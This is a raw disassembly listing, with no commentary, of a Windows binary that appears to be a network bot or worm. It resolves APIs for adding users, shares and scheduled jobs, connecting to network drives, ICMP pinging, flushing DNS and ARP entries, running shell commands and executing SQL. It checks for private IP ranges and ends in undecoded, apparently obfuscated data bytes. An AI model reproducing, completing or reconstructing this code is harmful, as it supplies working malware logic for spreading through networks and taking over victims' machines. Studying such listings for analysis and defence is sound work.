loc_401CCD: ; CODE XREF: sub_4014F8+6BEj
; sub_4014F8+6CAj ...
mov ds:dword_4515D0, 1
loc_401CD7: ; CODE XREF: sub_4014F8+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; dword_4F130C
mov edi, eax
cmp edi, ebx
jz loc_401DDC
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; dword_4F1314
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov ds:dword_451434, eax
call esi ; dword_4F1314
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov ds:dword_4513BC, eax
call esi ; dword_4F1314
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov ds:dword_4514BC, eax
call esi ; dword_4F1314
push offset aInternetconnec ; "InternetConnectA"
push edi
mov ds:dword_451468, eax
call esi ; dword_4F1314
push offset aInternetopena ; "InternetOpenA"
push edi
mov ds:dword_4514C8, eax
call esi ; dword_4F1314
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov ds:dword_45148C, eax
call esi ; dword_4F1314
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov ds:dword_4513FC, eax
call esi ; dword_4F1314
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov ds:dword_4513F4, eax
call esi ; dword_4F1314
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov ds:dword_451404, eax
call esi ; dword_4F1314
cmp ds:dword_451434, ebx
mov ecx, ds:dword_45148C
mov ds:dword_451524, eax
jz short loc_401DB8
cmp ds:dword_4513BC, ebx
jz short loc_401DB8
cmp ds:dword_4514BC, ebx
jz short loc_401DB8
cmp ds:dword_451468, ebx
jz short loc_401DB8
cmp ds:dword_4514C8, ebx
jz short loc_401DB8
cmp ecx, ebx
jz short loc_401DB8
cmp ds:dword_4513FC, ebx
jz short loc_401DB8
cmp ds:dword_4513F4, ebx
jz short loc_401DB8
cmp ds:dword_451404, ebx
jz short loc_401DB8
cmp eax, ebx
jnz short loc_401DC2
loc_401DB8: ; CODE XREF: sub_4014F8+87Ej
; sub_4014F8+886j ...
mov ds:dword_4515D8, 1
loc_401DC2: ; CODE XREF: sub_4014F8+8BEj
cmp ecx, ebx
jz short loc_401DF7
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; dword_45148C
cmp eax, ebx
mov ds:dword_4514A4, eax
jnz short loc_401DF7
jmp short loc_401DF1
; ---------------------------------------------------------------------------
loc_401DDC: ; CODE XREF: sub_4014F8+7EAj
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_4515DC, eax
mov ds:dword_4515D8, 1
loc_401DF1: ; CODE XREF: sub_4014F8+8E2j
mov ds:dword_4514A4, ebx
loc_401DF7: ; CODE XREF: sub_4014F8+8CCj
; sub_4014F8+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; dword_4F130C
mov edi, eax
cmp edi, ebx
jz short loc_401E41
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; dword_4F1314
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov ds:dword_45147C, eax
call esi ; dword_4F1314
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov ds:dword_4515A8, eax
call esi ; dword_4F1314
cmp ds:dword_45147C, ebx
mov ds:dword_451410, eax
jz short loc_401E4C
cmp ds:dword_4515A8, ebx
jz short loc_401E4C
cmp eax, ebx
jnz short loc_401E56
jmp short loc_401E4C
; ---------------------------------------------------------------------------
loc_401E41: ; CODE XREF: sub_4014F8+90Aj
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_4515E4, eax
loc_401E4C: ; CODE XREF: sub_4014F8+939j
; sub_4014F8+941j ...
mov ds:dword_4515E0, 1
loc_401E56: ; CODE XREF: sub_4014F8+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; dword_4F130C
mov edi, eax
cmp edi, ebx
jz loc_401F5D
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; dword_4F1314
push offset aNetsharedel ; "NetShareDel"
push edi
mov ds:dword_4513EC, eax
call esi ; dword_4F1314
push offset aNetshareenum ; "NetShareEnum"
push edi
mov ds:dword_4513C4, eax
call esi ; dword_4F1314
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov ds:dword_45143C, eax
call esi ; dword_4F1314
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov ds:dword_45146C, eax
call esi ; dword_4F1314
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov ds:dword_451580, eax
call esi ; dword_4F1314
push offset aNetuseradd ; "NetUserAdd"
push edi
mov ds:dword_451424, eax
call esi ; dword_4F1314
push offset aNetuserdel ; "NetUserDel"
push edi
mov ds:dword_4513D0, eax
call esi ; dword_4F1314
push offset aNetuserenum ; "NetUserEnum"
push edi
mov ds:dword_4513C0, eax
call esi ; dword_4F1314
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov ds:dword_451454, eax
call esi ; dword_4F1314
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov ds:dword_451548, eax
call esi ; dword_4F1314
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov ds:dword_451504, eax
call esi ; dword_4F1314
cmp ds:dword_4513EC, ebx
mov ds:dword_45142C, eax
jz short loc_401F68
cmp ds:dword_4513C4, ebx
jz short loc_401F68
cmp ds:dword_45143C, ebx
jz short loc_401F68
cmp ds:dword_45146C, ebx
jz short loc_401F68
cmp ds:dword_451580, ebx
jz short loc_401F68
cmp ds:dword_451424, ebx
jz short loc_401F68
cmp ds:dword_4513D0, ebx
jz short loc_401F68
cmp ds:dword_4513C0, ebx
jz short loc_401F68
cmp ds:dword_451454, ebx
jz short loc_401F68
cmp ds:dword_451548, ebx
jz short loc_401F68
cmp ds:dword_451504, ebx
jnz short loc_401F72
jmp short loc_401F68
; ---------------------------------------------------------------------------
loc_401F5D: ; CODE XREF: sub_4014F8+969j
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_4515EC, eax
loc_401F68: ; CODE XREF: sub_4014F8+A11j
; sub_4014F8+A19j ...
mov ds:dword_4515E8, 1
loc_401F72: ; CODE XREF: sub_4014F8+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; dword_4F130C
mov edi, eax
cmp edi, ebx
jz short loc_401FA7
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; dword_4F1314
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov ds:dword_451414, eax
call esi ; dword_4F1314
cmp ds:dword_451414, ebx
mov ds:dword_4514EC, eax
jz short loc_401FB2
cmp eax, ebx
jnz short loc_401FBC
jmp short loc_401FB2
; ---------------------------------------------------------------------------
loc_401FA7: ; CODE XREF: sub_4014F8+A85j
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_4515F4, eax
loc_401FB2: ; CODE XREF: sub_4014F8+AA7j
; sub_4014F8+AADj
mov ds:dword_4515F0, 1
loc_401FBC: ; CODE XREF: sub_4014F8+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; dword_4F130C
mov edi, eax
cmp edi, ebx
jz short loc_401FF1
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; dword_4F1314
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov ds:dword_45156C, eax
call esi ; dword_4F1314
cmp ds:dword_45156C, ebx
mov ds:dword_451568, eax
jz short loc_401FFC
cmp eax, ebx
jnz short loc_402006
jmp short loc_401FFC
; ---------------------------------------------------------------------------
loc_401FF1: ; CODE XREF: sub_4014F8+ACFj
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_4515FC, eax
loc_401FFC: ; CODE XREF: sub_4014F8+AF1j
; sub_4014F8+AF7j
mov ds:dword_4515F8, 1
loc_402006: ; CODE XREF: sub_4014F8+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; dword_4F130C
mov edi, eax
cmp edi, ebx
jz short loc_402065
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; dword_4F1314
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov ds:dword_451598, eax
call esi ; dword_4F1314
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov ds:dword_451590, eax
call esi ; dword_4F1314
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov ds:dword_451558, eax
call esi ; dword_4F1314
cmp ds:dword_451598, ebx
mov ds:dword_451430, eax
jz short loc_402070
cmp ds:dword_451590, ebx
jz short loc_402070
cmp ds:dword_451558, ebx
jz short loc_402070
cmp eax, ebx
jnz short loc_40207A
jmp short loc_402070
; ---------------------------------------------------------------------------
loc_402065: ; CODE XREF: sub_4014F8+B19j
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_451604, eax
loc_402070: ; CODE XREF: sub_4014F8+B55j
; sub_4014F8+B5Dj ...
mov ds:dword_451600, 1
loc_40207A: ; CODE XREF: sub_4014F8+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; dword_4F130C
mov edi, eax
cmp edi, ebx
jz short loc_4020AF
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; dword_4F1314
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov ds:dword_451460, eax
call esi ; dword_4F1314
cmp ds:dword_451460, ebx
mov ds:dword_451564, eax
jz short loc_4020BA
cmp eax, ebx
jnz short loc_4020C4
jmp short loc_4020BA
; ---------------------------------------------------------------------------
loc_4020AF: ; CODE XREF: sub_4014F8+B8Dj
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_45160C, eax
loc_4020BA: ; CODE XREF: sub_4014F8+BAFj
; sub_4014F8+BB5j
mov ds:dword_451608, 1
loc_4020C4: ; CODE XREF: sub_4014F8+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; dword_4F130C
mov edi, eax
cmp edi, ebx
jz short loc_40214D
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; dword_4F1314
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov ds:dword_45152C, eax
call esi ; dword_4F1314
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov ds:dword_451578, eax
call esi ; dword_4F1314
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov ds:dword_4514B8, eax
call esi ; dword_4F1314
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov ds:dword_451470, eax
call esi ; dword_4F1314
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov ds:dword_451510, eax
call esi ; dword_4F1314
cmp ds:dword_45152C, ebx
mov ds:dword_451480, eax
jz short loc_402158
cmp ds:dword_451578, ebx
jz short loc_402158
cmp ds:dword_4514B8, ebx
jz short loc_402158
cmp ds:dword_451470, ebx
jz short loc_402158
cmp ds:dword_451510, ebx
jz short loc_402158
cmp eax, ebx
jnz short loc_402162
jmp short loc_402158
; ---------------------------------------------------------------------------
loc_40214D: ; CODE XREF: sub_4014F8+BD7j
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_451614, eax
loc_402158: ; CODE XREF: sub_4014F8+C2Dj
; sub_4014F8+C35j ...
mov ds:dword_451610, 1
loc_402162: ; CODE XREF: sub_4014F8+C51j
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4014F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40216A proc near ; CODE XREF: seg000:00407C57p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp ds:dword_4515B0, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_4021B2
push ds:dword_4515B4
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_4021B2: ; CODE XREF: sub_40216A+1Aj
cmp ds:dword_4515B8, esi
jz short loc_4021E6
push ds:dword_4515BC
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_4021E6: ; CODE XREF: sub_40216A+4Ej
cmp ds:dword_4515C0, esi
jz short loc_40221A
push ds:dword_4515C4
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_40221A: ; CODE XREF: sub_40216A+82j
cmp ds:dword_4515C8, esi
jz short loc_40224E
push ds:dword_4515CC
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_40224E: ; CODE XREF: sub_40216A+B6j
cmp ds:dword_4515D0, esi
jz short loc_402282
push ds:dword_4515D4
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_402282: ; CODE XREF: sub_40216A+EAj
cmp ds:dword_4515D8, esi
jz short loc_4022B6
push ds:dword_4515DC
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_4022B6: ; CODE XREF: sub_40216A+11Ej
cmp ds:dword_4515E0, esi
jz short loc_4022EA
push ds:dword_4515E4
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_4022EA: ; CODE XREF: sub_40216A+152j
cmp ds:dword_4515E8, esi
jz short loc_40231E
push ds:dword_4515EC
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_40231E: ; CODE XREF: sub_40216A+186j
cmp ds:dword_4515F0, esi
jz short loc_402352
push ds:dword_4515F4
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_402352: ; CODE XREF: sub_40216A+1BAj
cmp ds:dword_4515F8, esi
jz short loc_402386
push ds:dword_4515FC
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_402386: ; CODE XREF: sub_40216A+1EEj
cmp ds:dword_451600, esi
jz short loc_4023BA
push ds:dword_451604
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_4023BA: ; CODE XREF: sub_40216A+222j
cmp ds:dword_451608, esi
jz short loc_4023EE
push ds:dword_45160C
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_4023EE: ; CODE XREF: sub_40216A+256j
cmp ds:dword_451610, esi
jz short loc_402422
push ds:dword_451614
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41D260
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 20h
loc_402422: ; CODE XREF: sub_40216A+28Aj
lea eax, [ebp+var_200]
push offset dword_43CA98
push eax
call sub_41D260
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40244F
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40145D
add esp, 14h
loc_40244F: ; CODE XREF: sub_40216A+2CEj
lea eax, [ebp+var_200]
push eax
call sub_4161A7
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40216A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20h
cmp dword ptr [ebp+8], 0
push esi
jz loc_4024F6
push offset dword_451634
push dword ptr [ebp+8]
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_4024F6
push 20h
lea eax, [ebp-20h]
push dword ptr [ebp+8]
push eax
call sub_41D800
lea eax, [ebp-20h]
push offset dword_43CAD8
push eax
call sub_41D6B0
add esp, 14h
test eax, eax
jz short loc_4024F6
push eax
call sub_41D560
mov dword ptr [esp], offset dword_43CADC
push 0
mov esi, eax
call sub_41D6B0
pop ecx
test eax, eax
pop ecx
jz short loc_4024F6
push eax
call sub_41D560
cmp esi, 0Ah
pop ecx
jz short loc_4024F1
cmp esi, 0ACh
jnz short loc_4024E2
cmp eax, 0Fh
jle short loc_4024F6
cmp eax, 20h
jl short loc_4024F1
loc_4024E2: ; CODE XREF: seg000:004024D6j
cmp esi, 0C0h
jnz short loc_4024F6
cmp eax, 0A8h
jnz short loc_4024F6
loc_4024F1: ; CODE XREF: seg000:004024CEj
; seg000:004024E0j
push 1
pop eax
jmp short loc_4024F8
; ---------------------------------------------------------------------------
loc_4024F6: ; CODE XREF: seg000:0040246Cj
; seg000:00402483j ...
xor eax, eax
loc_4024F8: ; CODE XREF: seg000:004024F4j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4024FB proc near ; CODE XREF: sub_402D46+4Fp
; sub_411418+52p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_451530
cmp eax, 0FFFFFFFFh
jnz short locret_402523
push [esp+arg_0]
call ds:dword_451574
test eax, eax
jnz short loc_40251C
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40251C: ; CODE XREF: sub_4024FB+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_402523: ; CODE XREF: sub_4024FB+Dj
retn
sub_4024FB endp
; =============== S U B R O U T I N E =======================================
sub_402524 proc near ; CODE XREF: sub_402D46+D6p
mov ecx, ds:dword_451414
xor eax, eax
test ecx, ecx
jz short locret_402532
call ecx ; dword_451414
locret_402532: ; CODE XREF: sub_402524+Aj
retn
sub_402524 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402533 proc near ; CODE XREF: seg000:loc_407B95p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call ds:dword_45156C
mov ecx, eax
sub ecx, edi
jz loc_4025FF
sub ecx, 32h
jz loc_4025F8
sub ecx, 48h
jz short loc_402593
sub ecx, 6Eh
jz short loc_40258C
push eax
push offset dword_43CBF8
loc_40257B: ; CODE XREF: sub_402533+91j
lea eax, [ebp+var_88]
push eax
call sub_41D260
add esp, 0Ch
jmp short loc_4025D9
; ---------------------------------------------------------------------------
loc_40258C: ; CODE XREF: sub_402533+40j
push offset dword_43CB70
jmp short loc_4025CB
; ---------------------------------------------------------------------------
loc_402593: ; CODE XREF: sub_402533+3Bj
push [ebp+var_8]
call sub_41AE40
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41D100
add esp, 10h
cmp esi, edi
jz short loc_4025C6
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call ds:dword_45156C
cmp eax, edi
jz short loc_4025FF
push eax
push offset dword_43CAE0
jmp short loc_40257B
; ---------------------------------------------------------------------------
loc_4025C6: ; CODE XREF: sub_402533+79j
push offset dword_43CB28
loc_4025CB: ; CODE XREF: sub_402533+5Ej
; sub_402533+CAj
lea eax, [ebp+var_88]
push eax
call sub_41D260
pop ecx
pop ecx
loc_4025D9: ; CODE XREF: sub_402533+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4161A7
pop ecx
loc_4025E9: ; CODE XREF: sub_402533+CEj
; sub_402533+E2j
push esi
call sub_41B8B0
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4025F8: ; CODE XREF: sub_402533+32j
push offset dword_43CBB0
jmp short loc_4025CB
; ---------------------------------------------------------------------------
loc_4025FF: ; CODE XREF: sub_402533+29j
; sub_402533+89j
cmp [esi], edi
jbe short loc_4025E9
lea ebx, [esi+4]
loc_402606: ; CODE XREF: sub_402533+E0j
push ebx
call ds:dword_451568
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_402606
jmp short loc_4025E9
sub_402533 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402617 proc near ; CODE XREF: seg000:0040609Fp
; seg000:00407952p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call ds:dword_451498
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_451620
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41D260
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_402617 endp
; =============== S U B R O U T I N E =======================================
sub_402670 proc near ; CODE XREF: seg000:00409E12p
; sub_414853+1C8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_402699
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40268C: ; CODE XREF: sub_402670+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40268C
pop edi
jmp short loc_40269D
; ---------------------------------------------------------------------------
loc_402699: ; CODE XREF: sub_402670+Aj
mov edx, [esp+4+arg_0]
loc_40269D: ; CODE XREF: sub_402670+27j
test esi, esi
pop esi
jz short loc_4026A7
movzx ecx, byte ptr [edx]
add eax, ecx
loc_4026A7: ; CODE XREF: sub_402670+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_402670 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp-4], esi
jle short loc_4026EA
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_4026DC: ; CODE XREF: seg000:004026E4j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_4026DC
pop edi
cmp eax, 1
loc_4026EA: ; CODE XREF: seg000:004026D0j
jnz short loc_4026F7
mov al, [edx]
mov [ebp-4], al
movzx eax, word ptr [ebp-4]
add esi, eax
loc_4026F7: ; CODE XREF: seg000:loc_4026EAj
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
leave
retn
; ---------------------------------------------------------------------------
loc_402710: ; CODE XREF: seg000:00420C51p
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40132F
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_4F1340
call esi ; dword_4F1340
xor edx, edx
mov ecx, 3E8h
div ecx
mov ds:dword_4DF1BC, eax
call esi ; dword_4F1340
push eax
call sub_41DB90
pop ecx
call sub_4014F8
push 2
call ds:dword_45159C
push 7530h
push offset aRbg78 ; "rbg78"
push ebx
push ebx
call near ptr 3D0000h
dec ebp
push eax
call near ptr 3D0000h
jz short loc_4027BF
add al, [ecx]
; ---------------------------------------------------------------------------
dd 8750000h, 15FF016Ah, 4F12F8h, 0F77C858Dh, 6850FFFFh
dd 202h, 146415FFh, 0C33B0045h, 593850Fh, 0BD800000h, 0FFFFF77Ch
dd 80850F02h, 33000005h, 7D858AC0h
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4027BF: ; CODE XREF: seg000:00402780j
cmp al, 2
jnz loc_402D37
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
call near ptr 3D0000h
; ---------------------------------------------------------------------------
db 0D9h, 8Dh, 85h
dd 0FFFFFD14h, 0E8535056h, 0FFFCD818h, 11E850EDh, 0E5FFFCD8h
dd 0FA0C858Dh, 8D50FFFFh, 0FFF90C85h, 8D5350FFh, 0FFFD1485h
dd 0E85053FFh, 1B454h, 0FA0C858Dh, 8D50FFFFh, 0FFF90C85h
dd 146850FFh, 8D0043D6h, 0FFFB0C85h, 0E85056FFh, 1AB34h
dd 0FC10858Dh, 8D50FFFFh, 0FFFD1485h, 0A1E850FFh, 830001B3h
dd 0C08530C4h, 1B8850Fh, 1D390000h, 43CC6Ch, 43CCBCBEh
dd 56317400h, 11E8FF33h, 83000184h, 745904E8h, 0B336E823h
dd 1A6A0001h, 0F9F75999h, 61C28056h, 0CCBC9788h, 0E8470043h
dd 183F0h, 5904E883h, 0DD72F83Bh, 0FC10858Dh, 5056FFFFh
dd 0FE18858Dh, 1C68FFFFh, 500043D6h, 1A9BFE8h, 10C48300h
dd 0FE18858Dh, 0FF50FFFFh, 4F133415h, 0FFF88300h, 858D1274h
dd 0FFFFFE18h, 8068h, 39E85000h, 3FFFCD7h, 132C358Bh, 858D004Fh
dd 0FFFFFE18h, 858D5053h, 0FFFFFD14h, 0FF50FF33h, 75C085D6h
dd 1015FF33h, 3B004F13h, 832975FBh, 57420F8h, 7505F883h
dd 5F016A1Fh, 3A9868h, 0F415FF00h, 8D004F12h, 0FFFE1885h
dd 8D5053FFh, 0FFFD1485h, 0C7EB50FFh, 0FE18858Dh, 0E850FFFFh
dd 1515Bh, 18858D59h, 6AFFFFFEh, 0CDE85007h, 2FFFFCD6h
dd 458D106Ah, 0E85053E0h, 1A7C0h, 858D446Ah, 0FFFFFF1Ch
dd 5053565Eh, 1A7AFE8h, 18C48300h, 0FF1CB589h, 85C7FFFFh
dd 0FFFFFF28h, 4DF344h, 4C9D8966h, 6AFFFFFFh, 0B5895E01h
dd 0FFFFFF48h, 0FCD687E8h, 565090FFh, 10000068h, 0D67AE800h
dd 8D48FFFCh, 0FFFD148Dh, 8D5051FFh, 0FFFE1885h, 858D50FFh
dd 0FFFFF678h, 43D62468h, 0B9E85000h, 830001A8h, 458D14C4h
dd 858D50E0h, 0FFFFFF1Ch, 10858D50h, 50FFFFFCh, 56286A53h
dd 78858D53h, 53FFFFF6h, 18858D50h, 50FFFFFEh, 0FCD62BE8h
dd 0C085D4FFh, 0C8682874h, 0FF000000h, 4F12F415h, 0E075FF00h
dd 12FC358Bh, 0D6FF004Fh, 0FFE475FFh, 4C15FFD6h, 53004514h
dd 12F815FFh, 3D83004Fh, 4EE97Ch, 0A1437E02h, 4EE980h
dd 0E80470FFh, 1AB48h, 6AF08B59h, 0DDE856FFh, 1BFFFCD5h
dd 0FC15FF56h, 0A1004F12h, 4EE980h, 74085839h, 7D06819h
dd 15FF0000h, 4F12F4h, 4EE980A1h, 870FF00h, 0FCD5B3E8h
dd 1D394EFFh, 43CC70h, 1D391574h, 4515C0h, 858D0D75h, 0FFFFFB0Ch
dd 0E596E850h, 8D59FFFFh, 0FFFF6085h, 0D63068FFh, 0E8500043h
dd 1A7E4h, 60858D53h, 53FFFFFFh, 62B5E850h, 858D0000h
dd 0FFFFFF60h, 3711E850h, 80680001h, 5300000Bh, 45163868h
dd 0A65AE800h, 858D0001h, 0FFFFFF60h, 43D64868h, 0A9E85000h
dd 530001A7h, 0FF60858Dh, 16AFFFFh, 6279E850h, 0C4830000h
dd 8BF88B38h, 4F131C35h, 0F8458D00h, 68535350h, 41939Eh
dd 0D6FF5353h, 234FF69h, 0C33B0000h, 23CC8789h, 1B750045h
dd 131015FFh, 8D50004Fh, 0FFFF6085h, 0D66868FFh, 0E8500043h
